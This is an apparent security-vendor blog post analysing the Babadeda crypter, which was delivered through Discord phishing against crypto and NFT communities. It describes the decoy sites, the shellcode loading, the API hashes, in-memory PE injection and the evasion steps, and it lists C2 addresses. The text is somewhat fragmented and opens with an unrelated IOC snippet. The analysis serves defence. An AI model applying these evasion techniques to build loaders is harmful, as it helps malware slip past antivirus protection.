Indicators of Compromise SHA-256 Name c5b43b02a62d424a4e8a63b23bef8b022c08a889a15a6ad7f5bf1fd4fe73291f ATMSpitter a3b2de8f0d648f3e157300d0a88971919eb273b7d1c7b9ed023f26b5cc0ac3ca Sality infected file 4e32a6000a2b33ed0b8e4cf1256876c356cf5508ce0df2752fcfa214b6c2795b Formbook (SSL Decryption)


Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


The cryptocurrency market is now worth more than $2.5 trillion.

Babadeda Crypter targeting crypto NFT and DeFi communities


Unfortunately, this fact is not lost on threat actors.


As well as using cryptocurrency themselves to extract ransoms, cybercriminals are now also tailoring malware to exploit the booming market for NFTs and crypto games.


Crucially, the crypter that this campaign deploys, which we have termed Babadeda (a Russian language placeholder used by the crypter itself which translates to “Grandma-Grandpa”), is able to bypass signature-based antivirus solutions.


For victims, this makes infections highly likely — and dangerous.


Fortunately, however, even as the threat level for cryptocurrency users rises, we also know that Morphisec’s Moving Target Defense technology is capable of both seeing and stopping Babadeda.


In this blog post, we will explore how Babadeda is being delivered, what an in-depth technical analysis of this malware tells us about it, and how it can be stopped.


Crypto and NFT Communities Are Prime Targets Since May 2021, we have observed several malware distribution campaigns.


However, many of the recent infections we have seen appear to be related to a sophisticated campaign that exclusively targets the Crypto, NFT, and DeFi communities.


It is precisely for this reason, as well as the fact that NFTs are rising in popularity, that we have decided to take a look at this particular campaign distribution in more detail.


For those who are not familiar with NFTs (Non-fungible token): the term refers to unique tokens that provide proof of ownership on data that is stored on the blockchain technology.


Naturally, this growing trend in the crypto space has opened up a new vector for threat actors to exploit.


The DElivery Chain The vast majority of today's NFT and crypto communities are based on Discord (a group chatting platform) channels.


Discord channels are publicly accessible and allow users to send private messages to one another within a channel.


In the campaign that we observed, a threat actor took advantage of these features in order to phish victims.


The threat actor sent users a private message inviting them to download a related application that would supposedly grant the user access to new features and/or additional benefits.


Below is an example of a phishing message that targeted users of “Mines of Dalarna”, a PC game built on the blockchain.


Figure 1: Fake message on the discord channel.


Figure 2: Original and decoy sites comparison As you can see from the example above, the threat actor took extended measures to ensure that the delivery chain looks legitimate even to technical users.


The domains are signed with a certificate (via LetsEncrypt), which enables an HTTPS connection.


The UI of the decoy pages is very similar to the UI of the original pages.


Upon clicking “Download APP”, the site will generally navigate to /downland.php, which will redirect the download request to a different domain (this makes it less likely that someone will detect a decoy site).


Interestingly, on one of these decoy sites, we noticed an HTML object written in Russian.


Decoy site examples The following table shows a few examples of the decoy sites used in the campaigns we have observed.


: Dates Observed RAT C2 11 Nov 2021 - 22 Nov 2021 Remcos 65.21.127.164[:]4449 14 Oct 2021 - 22 Oct 2021 BitRAT 135.181.6.215[:]7777 09 Sep 2021 - 14 Oct 2021 BitRAT 135.181.140.153[:]7777 24 Aug 2021 - 07 Sep 2021 BitRAT 135.181.140.182[:]7777 Technical Analysis of the Babadeda Crypter Figure 4: Execution flow diagram During our research, we found different variants of the same Crypter — all of which contain the same main execution flow (denoted by the figure above).


While investigating the Crypter, we saw how important it was for the threat actor to hide its malicious intentions inside legitimate applications in order to avoid detection.


The following figure emphasizes the complexity of the evasive techniques that are implemented in the Crypter. Figure 5: Low detection rate on VT The Installer Once downloaded and executed, the malicious installer copies its compressed files into a newly created folder with a legitimate-looking name (i.e., IIS Application Health Monitor) in one of the following directory paths: C:\Users\<user>\AppData\Roaming\C:\Users\<user>\AppData\Local\ The malicious files are copied along with many other open-source or free application-related files.


However, looking at these files carefully it becomes apparent that some of them are suspicious and should be inspected, as shown by the figure below.


Figure 6: The compressed files (malware files selected with stage numbers) Crypter Execution After dropping the mentioned files, the Installer starts execution via the main executable (number 1 in the figure above).


This fake message might be used as a security solutions evasion technique.


Figure 7: Fake error message By analyzing the two different variants, we can see the implementation of this message box: Figure 8: Comparison between variants As we can see in the figure below, the function’s code is much longer compared to the actual DLL loading code.


That’s because the actor has implanted its actions within a legitimate application code in order to confuse analysts, obfuscate its real intentions, and make it harder for antivirus solutions to detect.


Figure 9: Left - the full function.


Right - the DLL loading code The Shellcode's Loader DLL


The threat actor generally embeds the next stages of the execution inside an additional file, usually an XML or a PDF file.


Nonetheless, we have also observed additional file types such as JavaScript, Text, and PNG.


We have extracted the relevant sections to clearly demonstrate the malware’s activity: Figure 10: Exported function logic The malicious logic starts by reading the additional file (in this case an XML file) and calling kernel32!Sleep for 35 seconds (the duration changes between variants).


Next, it loads this entire file to memory and starts its parsing task.


Figure 11: The shellcode bytes inside the XML file The executable .text section’s characteristics are configured to RWE (Read-Write-Execute) -- that way the actor doesn't need to use VirtualAlloc or VirtualProtect in order to copy the shellcode and transfer the execution.


Once the shellcode is copied to the executable, the DLL calls to the shellcode’s entry point (shellcode_address).


Figure 14: registry run key persistence implementation The Decryption Shellcode The XML file (or any other file type used by the crypter) contains the following components: The first shellcode (referred to in this section).


This configuration holds pointers to the loader shellcode and the final payload; these are encrypted and split inside the XML. Figure 16: Configuration and XML file’s structures Based on this, we can identify the configuration inside the XML file: Figure 17: Configuration structure Using this configuration the malware iterates over each chunk copies it, and decrypts it using the denoted decryption key (the configuration changes between samples).


It replaces the first placeholder with the address of the decrypted payload and the latter with the size of the payload.


We can divide the loading mechanism into three stages: initialization, injection, and correction.


Initialization This stage is responsible for setting the relevant data that will be used during the injection and correction stages.


Next, it parses the PE headers of the payload to extract the image size and the entry point according to the current executable’s base address.


Finally, it dynamically loads the VirtualProtect function using a pre-calculated hash value (0xF1C25B45 in our case).


It does so by copying the PE headers and each section according to the current executable’s base address.


Figure 20: Fix tables and remove altering evidence mw_construct_IAT Load GetModuleHandleA, LoadLibraryA and GetProcAddress functions by hash (0x9FE4FCE1, 0x85557334 and 0xF23B576D respectively).


Iterate over the IAT of the new PE.


Load each function and update its address.


Add the delta to the entry value.


These steps attempt to evade memory scanners that seek mismatching LDR data and in-memory PEs.


Finally, the malware jumps to the entry point of the newly injected PE with the original command-line arguments.


Targeting cryptocurrency users through trusted attack vectors gives its distributors a fast-growing selection of potential victims.


Once on a victim's machine, masquerading as a known application with a complex obfuscation also means that anyone relying on signature-based malware effectively has no way of knowing Babadeda is on their machine — or of stopping it from executing.


Mitigating the threat posed by Babadeda requires securing the device memory it targets.